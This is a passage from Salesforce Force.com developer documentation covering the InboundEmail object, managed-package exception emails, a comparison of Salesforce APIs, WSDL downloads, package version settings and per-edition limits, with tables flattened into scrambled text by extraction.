insert c; // Test with a subject that does not contain "unsubscribe." email.subject = 'test'; env.fromAddress = 'user@acme.com'; // Call the class and test it with the data in the test method. unsubscribe unsubscribeObj = new unsubscribe(); unsubscribeObj.handleInboundEmail(email, env ); } }

InboundEmail Object
An InboundEmail object has the following fields. Name
binaryAttachments

Type

Description

InboundEmail.BinaryAttachment[] A list of binary attachments received with the email, if any. Examples of binary attachments include image, audio, application, and video files.

ccAddresses fromAddress fromName headers

String[] String String InboundEmail.Header[]

A list of carbon copy (CC) addresses, if any. The email address that appears in the From field. The name that appears in the From field, if any. A list of the RFC 2822 headers in the email, including: Recieved from Custom headers Message-ID Date The HTML version of the email, if specified by the sender. Indicates whether the HTML body text is truncated (true) or not (false.) The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs. The Message-IDthe incoming email's unique identifier. The plain text version of the email, if specified by the sender. Indicates whether the plain body text is truncated (true) or not (false.) The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields.

htmlBody htmlBodyIsTruncated

String Boolean String

inReplyTo

messageId plainTextBody

String String

plainTextBodyIsTruncated Boolean references

String []

2172

Develop

Using the InboundEmail Object

Name
replyTo

Type String

Description The email address that appears in the reply-to header. If there is no reply-to header, this field is identical to the fromAddress field.

subject textAttachments

String InboundEmail.TextAttachment[]

The subject line of the email, if any. A list of text attachments received with the email, if any. The text attachments can be any of the following: Attachments with a Multipurpose Internet Mail Extension (MIME) type of text Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

toAddresses

String[]

The email address that appears in the To field.

InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following fields. Name
name value

Type String String

Description The name of the header parameter, such as Date or Message-ID. The value of the header.

InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object. Examples of binary attachments include image, audio, application, and video files. An InboundEmail.BinaryAttachment object has the following fields. Name
body fileName mimeTypeSubType

Type Blob String String

Description The body of the attachment. The name of the attached file. The primary and sub MIME-type.

InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object. The text attachments can be any of the following:

2173

Develop

Using the InboundEmail Object

Attachments with a Multipurpose Internet Mail Extension (MIME) type of text Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

An InboundEmail.TextAttachment object has the following fields. Name


body bodyIsTruncated

Type String Boolean String String String

Description The body of the attachment. Indicates whether the attachment body text is truncated (true) or not (false.) The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method. The name of the attached file. The primary and sub MIME-type.

charset fileName mimeTypeSubType

InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful. The InboundEmailResult object has the following fields. Name
success

Type Boolean

Description A value that indicates whether the email was successfully processed. If false, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the Message field.

message

String

A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned by the Success field.

InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields. Name
toAddress fromAddress

Type String String

Description The name that appears in the To field of the envelope, if any. The name that appears in the From field of the envelope, if any.

See Also:
Apex Code Overview What are Email Services? Developer's Guide: Force.com Apex Code Developer's Guide

2174

Develop

Handling Apex Exceptions in Managed Packages

Handling Apex Exceptions in Managed Packages


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed To create packages: To upload packages: To create Apex: Create Force.com AppExchange Packages Upload Force.com AppExchange Packages Author Apex

When you create a managed package for Force.com AppExchange, you can specify a user to receive an email notification when an exception occurs that is not caught by Apex. Uncaught exceptions can be thrown from: A Visualforce action or getter method A Web service method A trigger

The email that is sent has the following format: -------------------------------------------------------------------------------Subject: Developer script exception from CLASSNAME Apex script unhandled trigger exception by user/organization: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE -------------------------------------------------------------------------------For example: -------------------------------------------------------------------------------From: Apex Application? <info@salesforce.com> To: joeuser@salesforce.com <joeuser@salesforce.com> Subject: Developer script exception from Gack WS? Date: Mon, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger exception by user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test Exception?: Gack WS exception Class.Gack WS?.gackTestException: line 4, column 11 -------------------------------------------------------------------------------The number of emails generated for the same error is limited to 10 messages with the same subject in a 60 second period.

See Also:
Apex Code Overview Preparing Your Apps for Distribution About Apex Unit Tests Developer's Guide: Force.com Apex Code Developer's Guide

2175

Develop

Which API Should I Use?

Which API Should I Use?


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To use the APIs API Enabled

Salesforce provides programmatic access to your organizations information using simple, powerful, and secure application programming interfaces. API Name REST API What Its For When to Use It Protocol Data Format JSON, XML Communication Synchronous

Accessing objects in your You want to leverage the REST organization using REST architecture to REST. Read more. integrate with your organization. No WSDL requirement. Well-suited for browser-based applications, mobile apps, and highly-interactive social applications.

SOAP API

Integrating your organizations data with other applications using SOAP. Read more. Accessing Chatter feeds and social data such as users, groups, followers, and files using REST. Read more.

You have pre-existing SOAP/WSDL XML middleware services that need to work with WSDLs and XML data. You want to integrate REST Chatter into a variety of applications, such as mobile apps, intranet sites, and third-party Web applications. JSON, XML

Synchronous

Chatter API

Synchronous (photos are processed asynchronously)

Bulk API

Loading or deleting You have over a million REST large numbers of records. records to process and Read more. speed is a requirement. Managing customizations in your organization and building tools that can manage the metadata

CSV, XML

Asynchronous

Metadata API

You want to migrate SOAP/WSDL XML changes, such as custom object definitions and page layouts, from a sandbox to your production environment.

Asynchronous

2176

Develop

Which API Should I Use?

API Name

What Its For model, not the data itself. Read more.

When to Use It

Protocol

Data Format

Communication

Streaming API

Providing a stream of data reflecting data changes in your organization. Read more. Building your own REST API in Apex. Exposes Apex classes as RESTful Web services. Read more. Creating custom SOAP Web services in Apex. Exposes Apex classes as SOAP Web services. Read more.

You need near real-time Bayeux notifications of when records are created or updated. You need to build REST custom JSON responses or you want to expose custom functionality that you implemented in Apex.

JSON

Asynchronous (stream of data)

Apex REST API

JSON, XML, Custom

Synchronous

Apex SOAP API

You need to build SOAP/WSDL XML custom XML responses or you want to expose custom functionality that you implemented in Apex .

Synchronous

When to Use REST API


REST API provides a powerful, convenient, and simple REST-based Web services interface for interacting with Salesforce. Its advantages include ease of integration and development, and its an excellent choice of technology for use with mobile applications and Web projects. However, if you have a large number of records to process, you may wish to use Bulk API, which is based on REST principles and optimized for large sets of data.

When to Use SOAP API


SOAP API provides a powerful, convenient, and simple SOAP-based Web services interface for interacting with Salesforce.You can use SOAP API to create, retrieve, update, or delete records. You can also use SOAP API to perform searches and much more. Use SOAP API in any language that supports Web services. For example, you can use SOAP API to integrate Salesforce with your organizations ERP and finance systems, deliver real-time sales and support information to company portals, and populate critical business systems with customer information.

When to Use Chatter API


Chatter API is a REST API that provides programmatic access to Chatter feeds and social data such as users, groups, followers, and files. It's used by developers who want to integrate Chatter into a variety of applications such as mobile applications, intranet sites, and third-party Web applications. Chatter API is similar to APIs offered by other companies with feeds, such as Facebook and Twitter. Its advantages include ease of integration and development. Note: Chatter API is available for all editions except Personal Edition. In addition, Chatter must be enabled for the organization.

2177

Develop

Which API Should I Use?

When to Use Bulk API


Bulk API is based on REST principles and is optimized for loading or deleting large sets of data. You can use it to query, insert, update, upsert, or delete a large number of records asynchronously by submitting batches which are processed in the background by Salesforce. SOAP API, in contrast, is optimized for real-time client applications that update small numbers of records at a time. Although SOAP API can also be used for processing large numbers of records, when the data sets contain hundreds of thousands of records, it becomes less practical. Bulk API is designed to make it simple to process data from a few thousand to millions of records. The easiest way to use Bulk API is to enable it for processing records in Data Loader using CSV files. This avoids the need to write your own client application.

When to Use Metadata API


Use Metadata API to retrieve, deploy, create, update, or delete customizations for your organization. The most common use is to migrate changes from a sandbox or testing organization to your production environment. Metadata API is intended for managing customizations and for building tools that can manage the metadata model, not the data itself. The easiest way to access the functionality in Metadata API is to use the Force.com IDE or Force.com Migration Tool. These tools are built on top of Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working with Metadata API. Built on the Eclipse platform, the Force.com IDE provides a comfortable environment for programmers familiar with integrated development environments, allowing you to code, compile, test, and deploy all from within the IDE itself. The Force.com Migration Tool is ideal if you want to use a script or a command-line utility for moving metadata between a local directory and a Salesforce organization.

When to Use Streaming API


Use Streaming API to receive notifications for changes to data that match a SOQL query that you define. Streaming API is useful when you want notifications to be pushed from the server to the client. Consider Streaming API for applications that poll frequently. Applications that have constant polling action against the Salesforce infrastructure, consuming unnecessary API call and processing time, would benefit from this API which reduces the number of requests that return no data. Streaming API is also ideal for applications that require general notification of data changes. This enables you to reduce the number of API calls and improve performance.

When to use Apex REST API


Use Apex REST API when you want to expose your Apex classes and methods so that external applications can access your code through REST architecture. Apex REST API supports both OAuth 2.0 and Session ID for authorization.

When to use Apex SOAP API


Use Apex SOAP API when you want to expose your Apex methods as SOAP Web service APIs so that external applications can access your code through SOAP. Apex SOAP API supports both OAuth 2.0 and Session ID for authorization.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates Web Services API Developer's Guide Metadata API Developer's Guide Bulk API Developer's Guide

2178

Develop

Downloading Salesforce WSDLs and Client Authentication Certificates

Downloading Salesforce WSDLs and Client Authentication Certificates


Available in: Professional, Enterprise, Developer, and Database.com Editions

User Permissions Needed To download a WSDL: Customize Application

You can download a Web Services Description Language (WSDL) document to integrate your applications with Salesforce using the API. The following WSDLs are available: Enterprise WSDL - Use this WSDL document to build an integration for a single organization.The enterprise WSDL is strongly typed, which means that it contains objects and fields with specific data types, such as int and string. Customers who use the enterprise WSDL document must download and re-consume it whenever their organization makes a change to its custom objects or fields or whenever they want to use a different version of the API. Partner WSDL - Use this WSDL to build an integration that can work across multiple Salesforce organizations, regardless of their custom objects or fields. Typically partners and ISVs use this WSDL. It is loosely typed, which means that you work with name-value pairs of field names and values instead of specific data types. The partner WSDL document only needs to be downloaded and consumed once per version of the API. Apex WSDL - Use this WSDL to run or compile Apex in another environment. See the Force.com Apex Code Developer's Guide for details. Metadata WSDL - Use this WSDL to to migrate configuration changes between organizations or work with the customizations in your organization as XML metadata files. See the Force.com Metadata API Developer's Guide for details.

To download a WSDL document: 1. Click Your Name > Setup > Develop > API. 2. Download the appropriate WSDL: If you are downloading an enterprise WSDL and you have managed packages installed in your organization, click Generate Enterprise WSDL. Salesforce prompts you to select the version of each installed package to include in the generated WSDL. Otherwise, right-click the link for the appropriate WSDL document to save it to a local directory. In the right-click menu, Internet Explorer users can choose Save Target As, while Mozilla Firefox users can choose Save Link As.

3. On your computer, import the local copy of the WSDL document into your development environment. Note: You can also select the default package versions without downloading a WSDL in the Package Version Settings section. Optionally, you can download a certificate to authenticate salesforce.com organizations. Use this certificate for workflow outbound messaging. This certificate is meant to identify that the request is coming from salesforce.com, not a specific user. If you want to use certificates to ensure secure connections using other Salesforce features, such as Apex callouts, use Salesforce certificates and key pairs.

2179

Develop

Downloading Salesforce WSDLs and Client Authentication Certificates

Click Your Name > Setup > Develop > API, and on the WSDL Download page, right-click Download Client Certificate and save it to an appropriate location. You can then import the downloaded certificate into your application server, and configure your application server to request the client certificate.

See Also:
Which API Should I Use? Defining Custom S-Controls Force.com API Usage Limits Managing Packages Configuring Default Package Versions for API Calls Documentation Resources for Force.com Developers

Generating an Enterprise WSDL with Managed Packages


Available in: Enterprise, Unlimited, and Developer, Editions

User Permissions Needed To download a WSDL: Customize Application

If you are downloading an enterprise WSDL and you have managed packages installed in your organization, you need to take an extra step to select the version of each installed package to include in the generated WSDL. The enterprise WSDL is strongly typed, which means that it contains objects and fields with specific data types, such as int and string. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. A subscriber can select a package version for each installed managed package to allow their API client to continue to function with specific, known behavior even when they install subsequent versions of a package. Each package version can have variations in the composition of its objects and fields, so you must select a specific version when you generate the strongly typed WSDL. To download an enterprise WSDL when you have managed packages installed: 1. Click Your Name > Setup > Develop > API. 2. Click Generate Enterprise WSDL. 3. Select the Package Version for each of your installed managed packages. If you are unsure which package version to select, you should leave the default, which is the latest package version. 4. Click Generate. 5. Use the File menu in your browser to save the WSDL to your computer. 6. On your computer, import the local copy of the WSDL document into your development environment. Note the following in your generated enterprise WSDL: Each of your managed package version selections is included in a comment at the top of the WSDL.

2180

Develop

Configuring Default Package Versions for API Calls

The generated WSDL contains the objects and fields in your organization, including those available in the selected versions of each installed package. If a field or object is added in a later package version, you must generate the enterprise WSDL with that package version to work with the object or field in your API integration. The SOAP endpoint at the end of the WSDL contains a URL with a format of serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 26.0, and ID encodes your package version selections when you communicate with Salesforce.

You can also select the default package versions for the enterprise WSDL without downloading a WSDL in the Package Version Settings section of Your Name > Setup > Develop > API. Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API clients do not include package version information, so the default settings maintain existing behavior for these clients.

See Also:
Which API Should I Use? Downloading Salesforce WSDLs and Client Authentication Certificates Configuring Default Package Versions for API Calls Managing Packages About Package Versions Documentation Resources for Force.com Developers Web Services API Developer's Guide

Configuring Default Package Versions for API Calls


Available in: Enterprise, Unlimited, Developer, Editions

User Permissions Needed To configure default package versions for API calls: Customize Application

A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API clients do not include package version information, so the default settings maintain existing behavior for these clients. You can specify the default package versions for enterprise API and partner API calls. The enterprise WSDL is for customers who want to build an integration with their Salesforce organization only. It is strongly typed, which means that calls operate on objects and fields with specific data types, such as int and string. The partner WSDL is for customers, partners, and ISVs who want to build an integration that can work across multiple Salesforce organizations, regardless of their custom objects or fields. It is loosely typed, which means that calls operate on name-value pairs of field names and values instead of specific data types.

2181

Develop

Salesforce Editions and Limits

You must associate the enterprise WSDL with specific package versions to maintain existing behavior for clients. There are options for setting the package version bindings for an API call from client applications using either the enterprise or partner WSDL. The package version information for API calls issued from a client application based on the enterprise WSDL is determined by the first match in the following settings. 1. The PackageVersionHeader SOAP header. 2. The SOAP endpoint contains a URL with a format of serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 26.0, and ID encodes your package version selections when the enterprise WSDL was generated. 3. The default enterprise package version settings. The partner WSDL is more flexible as it is used for integration with multiple organizations. If you choose the Not Specified option for a package version when configuring the default partner package versions, the behavior is defined by the latest installed package version. This means that behavior of package components, such as an Apex trigger, could change when a package is upgraded and that change would immediately impact the integration. Subscribers may want to select a specific version for an installed package for all partner API calls from client applications to ensure that subsequent installations of package versions do not affect their existing integrations. The package version information for partner API calls is determined by the first match in the following settings. 1. The PackageVersionHeader SOAP header. 2. An API call from a Visualforce page uses the package versions set for the Visualforce page. 3. The default partner package version settings. To configure default package versions for API calls: 1. Click Your Name > Setup > Develop > API. 2. Click Configure Enterprise Package Version Settings or Configure Partner Package Version Settings. These links are only available if you have at least one managed package installed in your organization. 3. Select a Package Version for each of your installed managed packages. If you are unsure which package version to select, you should leave the default selection. 4. Click Save. Note: Installing a new version of a package in your organization does not affect the current default settings.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates Managing Packages About Package Versions Documentation Resources for Force.com Developers Web Services API Developer's Guide

Salesforce Editions and Limits


Use the following tables to determine the maximum number of items supported in each Salesforce Edition. Salesforce Features and Editions Limits

2182

Develop

Salesforce Editions and Limits

Analytics Limits Additional Custom Field Limits Email Limits Salesforce Knowledge Limits Rules Limits Workflow and Approvals Limits

Salesforce Features and Editions Limits


Feature Action Plans: Maximum Number of Tasks Active Lookup Filters Active Validation Rules Personal Edition N/A Contact Manager N/A Group Edition N/A Professional Enterprise Edition Edition N/A 75 Unlimited Edition 75 Developer Edition 75

5 per object 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object N/A 20 per object 5 MB for file attachments. 2 GB for feed attachments. N/A 20 per object 5 MB for file attachments. 2 GB for feed attachments. N/A 20 per object 100 per object 5 MB for file attachments. 2 GB for feed attachments. N/A 5 MB for file attachments. 2 GB for feed attachments. 100 categories 500 per object 5 MB for file attachments. 2 GB for feed attachments. 100 categories 100 per object 5 MB for file attachments. 2 GB for feed attachments. 100 categories

Attachments: Maximum N/A Size of Attachment in the Notes & Attachments Related List1

Categories: Maximum N/A Default Number of Categories and Hierarchy Levels Category Groups: Maximum Default Number of Category Groups Certificates: Maximum Number of Certificates Content Deliveries: Default Delivery Bandwidth per Rolling 24-hour Window Content Deliveries: Default Delivery View Counts per Rolling 24-hour Window Content Deliveries: Maximum File Size for Online Viewing N/A

N/A

N/A

N/A

5 category groups and 3 active category groups 50 1 GB

5 category groups and 3 active category groups 50 1 GB

5 category groups and 3 active category groups 50 1 GB

N/A 1 GB

N/A 1 GB

N/A 1 GB

N/A 1 GB

20,000

20,000

20,000

20,000

20,000

20,000

20,000

25 MB

25 MB

25 MB

25 MB

25 MB

25 MB

25 MB

2183

Develop

Salesforce Editions and Limits

Feature Content: Maximum File Size

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Unlimited Edition

Developer Edition

For all editions: 2 GB 10 MB for Google Docs 38 MB when uploaded via the API 10 MB when uploaded via Visualforce 2,000 500,000 2,000 500,000 2,000 500,000 2,000 500,000 2,000 500,000 2,000 500,000

Content: Maximum Number of Libraries Content: Maximum Number of Content Documents

2,000 500,000

Content: Maximum 5,000 Number of Content Documents and Versions in a 24hour Period (Adjustable) Content Packs: Maximum N/A Number of Files Custom Apps (The custom apps contained in a managed package publicly posted on the AppExchange don't count against the limits for your Salesforce Edition.) Custom Fields (Additional restrictions apply for activities, long text area fields, relationship fields, and roll-up summary fields. For more information, see Additional Custom Field Limits.) Custom Labels N/A

5,000

5,000

5,000

5,000

5,000

5,000

50 1

50 1

50 5

50 10

50 Unlimited

50 10

5 per object 25 per object

100 per object

100 per object

500 per object

800 per object

500 per object

N/A

N/A 1,024 characters

N/A 1,024 characters

5,000 1,024 characters

5,000 1,024 characters

5,000 1,024 characters

5,000 1,024 characters

Custom Links: Maximum 1,024 Length of Link Label characters

Custom Links: Maximum 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 Length of Link URL Custom Objects N/A 5 50 50 200 2,000 400

2184

Develop

Salesforce Editions and Limits

Feature (The custom objects contained in a managed package publicly posted on the AppExchange don't count against the limits for your Salesforce Edition.) Note: If youre approaching your limit for custom objects and need to delete some, you need to hard delete or erase them. Soft-deleted custom objects and their data count against your limits. Custom Objects: Maximum Number of Master-Detail Relationships

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Unlimited Edition

Developer Edition

N/A

23

23

23

23

23

23

Custom Objects: Deletion N/A of Parent Records in a Many-to-Many Relationship

In a many-to-many relationship, a user cant delete a parent record if more than 200 junction object records are associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. The lesser of N/A 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300 N/A The lesser of 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300 The lesser of 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300 The lesser of 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300

Custom Settings: Cached The lesser of N/A Data Limit 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization Custom Settings: 300 Maximum Number of Fields Per Custom Setting Divisions: Maximum Number of Divisions N/A N/A

N/A 20 KB

N/A 20 KB

100 20 KB

100 20 KB

100 20 KB

N/A 20 KB

Documents: Maximum 20 KB Size of Custom App Logo

2185

Develop

Salesforce Editions and Limits

Feature Documents: Maximum Size of Document to Upload

Personal Edition 5 MB

Contact Manager 5 MB

Group Edition 5 MB

Professional Enterprise Edition Edition 5 MB 5 MB

Unlimited Edition 5 MB

Developer Edition 5 MB

Documents: Maximum 255 File Name Size (Including characters File Extension Name) Entitlement Processes and N/A Milestones

255 characters N/A

255 characters N/A

255 characters N/A

255 characters

255 characters

255 characters

For Enterprise, Developer, and Unlimited Editions, you can have: 20 Entitlement processes 10 Milestones for each entitlement process Contact salesforce.com for information on increasing the number of entitlement processes and milestones.

Events: Maximum N/A Number of Invitees and Resources for Single-Occurrence Events Events: Maximum Number of Invitees and Resources for Recurring Events N/A

1,000

1,000

1,000

1,000

1,000

1,000

100

100

100

100

100

100

Field History Tracking: N/A Maximum Number of Standard or Custom Fields Tracked for Standard or Custom Objects Files: Maximum File Size 2 GB in Chatter and on the Files Tab Fiscal Years: Maximum 250 Number of Custom Fiscal Years Formulas: Maximum Number of Characters Formulas: Maximum Number of Displayed Characters After an Evaluation of a Formula Expression Formulas: Maximum Formula Size (in Bytes) When Saved 3,900 characters 1,300 characters

20

20

20

20

20

20

2 GB

2 GB

2 GB

2 GB

2 GB

2 GB

250

250

250

250

250

250

3,900 characters 1,300 characters

3,900 characters 1,300 characters

3,900 characters 1,300 characters

3,900 characters 1,300 characters

3,900 characters 1,300 characters

3,900 characters 1,300 characters

4,000 bytes 4,000 bytes 4,000 bytes 4,000 bytes

4,000 bytes 4,000 bytes 4,000 bytes

2186

Develop

Salesforce Editions and Limits

Feature Formulas: Maximum Formula Size (in Bytes) When Compiled

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Unlimited Edition

Developer Edition

5,000 bytes 5,000 bytes 5,000 bytes 5,000 bytes

5,000 bytes 5,000 bytes 5,000 bytes

Formulas: Number of 10 Unique Relationships Per Object Formulas: VLOOKUP Functions 10 per object

10

10

10

10

10

10

10 per object N/A N/A 10,0004

10 per object N/A N/A 10,0004

10 per object 10 per object 32 KB 4 KB 10,0004 32 KB 4 KB 10,0004

10 per object 32 KB 4 KB 10,0004

10 per object 32 KB 4 KB 10,0004

Ideas: Maximum Size of N/A HTML Idea Description Ideas: Maximum Size of HTML Idea Comment N/A

Master-Detail 10,0004 Relationship: Maximum Number of Child Records Objects: Maximum Number of Deleting Combined Objects and Child Records Permission sets Question: Maximum Number of Characters Question: Maximum Number of Characters (with Chatter Answers
Optimize Question Flow enabled)

100,000

100,000

100,000

100,000

100,000

100,000

100,000

N/A N/A N/A

N/A N/A N/A

N/A N/A N/A

N/A N/A N/A

1,000 1,000 32,000

1,000 1,000 32,000

1,000 N/A N/A

Quote PDF: Maximum Logo Size Quote PDF: Maximum Logo Height Recycle Bin: Maximum Number of Records

N/A N/A 25 times your storage capacity in MBs

N/A N/A 25 times your storage capacity in MBs N/A N/A

N/A N/A 25 times your storage capacity in MBs N/A N/A

5 MB 150 pixels 25 times your storage capacity in MBs N/A N/A

5 MB 150 pixels 25 times your storage capacity in MBs 1,000 4,000

5 MB 150 pixels 25 times your storage capacity in MBs 1,000 4,000

5 MB 150 pixels 25 times your storage capacity in MBs N/A N/A

Reply : Maximum Number N/A of Characters Reply (Private): Maximum N/A Number of Characters (with Chatter Answers
Optimize Question Flow enabled)

2187

Develop

Salesforce Editions and Limits

Feature

Personal Edition

Contact Manager N/A

Group Edition N/A

Professional Enterprise Edition Edition N/A 32,000

Unlimited Edition 32,000

Developer Edition N/A

Replies (Public): N/A Maximum Number of Characters (with Chatter Answers Optimize Question Flow enabled) Shared Activities

For all editions: If your organization has enabled Shared Activities, you can relate as many as 10 contacts to non-recurring and non-group tasks, and non-recurring events. You assign one primary contact; all others are secondary contacts. N/A N/A N/A For Professional, Enterprise, Unlimited, and Developer Editions, administrators can create up to 300 sharing rules per object, including up to 50 criteria-based rules. A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 10 A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 25 A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. Unlimited A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 500

Sharing Rules

Static Resources

N/A

A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total.

A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 5

Tabs (The custom tabs contained in a managed package publicly posted on the AppExchange don't count against the limits for your Salesforce Edition.) Tags

N/A

For all editions, a user is limited to a maximum of: 500 unique personal tags 5,000 instances of personal tags applied to records

Across all users, your organization can have a maximum of: Territories: Maximum Number of Account Assignment Rules 1,000 unique public tags 50,000 instances of public tags applied to records 5,000,000 instances of personal and public tags applied to records N/A N/A N/A 15 15 15

N/A

2188

Develop

Salesforce Editions and Limits

Feature

Personal Edition

Contact Manager 5

Group Edition 10

Professional Enterprise Edition Edition Unlimited Unlimited

Unlimited Edition Unlimited

Developer Edition 2

Users: Maximum Number 1 of Users Created

5000 5000 5000 5000 5000 5000 Chatter Free Chatter Free Chatter Free Chatter Free Chatter Free Chatter Free N/A N/A N/A For Enterprise, Developer, and Unlimited Editions, each flow can have up to: 50 versions 2000 steps Each organization can have up to: 500 active flows 1000 flows total 5,0005 5,0005

Visual Workflow

N/A

Web-to-Case: Maximum N/A Number of New Cases Generated in a 24hour Period Web-to-Lead: Maximum N/A Number of New Leads Generated in a 24hour Period
1

N/A

N/A

5,0005

5,0005

N/A

N/A

5005

5005

5005

5005

You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.
2

When data is substituted for the tokens in the URL, the link may exceed 3,000 bytes. Your browser may enforce additional limits for the maximum URL length.
3 4 5

Each relationship is included in the maximum number of custom fields allowed. As a best practice, don't exceed 10,000 child records for a master-detail relationship.

If your organization exceeds its daily Web-to-Case or Web-to-Lead limit, the default case owner or default lead creator receives a notification email containing information about the case or lead. When your organization reaches the 24hour limit, salesforce.com stores additional requests in a pending request queue that contains both Web-to-Case and Web-to-Lead requests. The requests are submitted when the limit refreshes. The pending request queue has a limit of 50,000 combined requests. If your organization reaches the pending request limit, additional requests are rejected and not queued. Your administrator receives email notifications for the first five rejected submissions. Contact salesforce.com Customer Support to change your organization's pending request limit.

Analytics Limits
Note: Additional dynamic dashboards, scheduled reports, scheduled dashboards, and scheduled analytic snapshots may be available for purchase. Contact your salesforce.com representative for information.

2189

Develop

Salesforce Editions and Limits

Feature Field Filters per Report1 Formulas per Report Scheduled Reports (Emailed reports can be up to 10 MB.)

Personal Edition 20 5 N/A

Contact Manager 20 5 N/A

Group Edition 20 5 N/A

Professional Enterprise Edition Edition 20 5 20 5

Unlimited Edition 20 5 Two per hour2

Developer Edition 20 5 One per hour2 (off-peak hours only3) (Limited to three preferred start times, which can't be changed)

One per One per hour2 hour2 (off-peak hours only3) (Limited to three preferred start times, which can't be changed)

Dynamic Dashboards

N/A

N/A

N/A

N/A

Up to five Up to 10 per Up to three per organization per organization organization One per hour2 200 Two per hour2 2,000 N/A 400

Scheduled Dashboard Refreshes Custom Report Types (Limits apply to all custom report types regardless of development status.) Analytic Snapshots

N/A N/A

N/A N/A

N/A N/A

N/A 50

N/A

N/A

N/A

One per One per hour2 hour2 (off-peak hours only3) (Limited to one preferred start time per day, which can't be changed)

Two per hour2

One per hour2 (off-peak hours only3) (Limited to one preferred start time per day, which can't be changed)

1 2 3

These limits apply to the report builder. If youre using the report wizard, the limit is 10. Up to a possible maximum of 200, total. Off-peak hours are between 6 PM and 3 AM local time.

The following analytics limits apply to all supported editions. Report Limits The report builder preview shows a maximum of 20 rows for summary and matrix reports, and 50 rows for tabular.

2190

Develop

Salesforce Editions and Limits

You can't have more than 250 groups or 4,000 values in a chart. If you see an error message saying that your chart has too many groups or values to plot, adjust the report filters to reduce the number. In combination charts, all groups and values count against the total. Reports display a maximum of 2,000 rows. To view all the rows, export the report to Excel or use the printable view for tabular and summary reports. For joined reports, export is not available, and the printable view displays a maximum of 20,000 rows. Summary and matrix reports display the first 2,000 groupings when Show Details is disabled. Matrix reports display a maximum of 400,000 summarized values. Matrix reports display a maximum of 2,000 groupings in the vertical axis when Show Details is disabled. If there are more than 400,000 summarized values, rows are removed until the 2,000 groupings limit is met, then columns are removed until the number of summarized values moves below 400,000.

By default, reports time out after 10 minutes. Contact salesforce.com to extend the time-out limit to 20 minutes for tabular, summary, and matrix reports (joined reports will continue to time out after 10 minutes). In a joined report, each block can have up to 100 columns. A joined report can have up to 5 blocks. You can add up to 10 custom summary formulas to each block in a joined report. A joined report can have a total of 50 custom summary formulas. Each joined report can have up to 10 cross-block custom summary formulas.

Dashboard Limits A dashboard filter can have up to 50 options. By default, 10 options are enabled. Contact salesforce.com to extend your limit. Each dashboard can have up to 20 components. A dashboard table or chart can display up to 20 photos. You must wait at least one minute between dashboard refreshes.

Report Type Limits A custom report type can contain up to 60 object references. For example, if you select the maximum limit of four object relationships for a report type, then you could select fields via lookup from an additional 56 objects. However, users will receive an error message if they run a report from a custom report type and the report contains columns from more than 20 different objects. You can add up to 1000 fields to each custom report type.

Analytic Snapshot Limits The maximum number of rows you can insert into a custom object is 2,000. The maximum number of runs you can store is 200. The maximum number of source report columns you can map to target fields is 100.

Additional Custom Field Limits


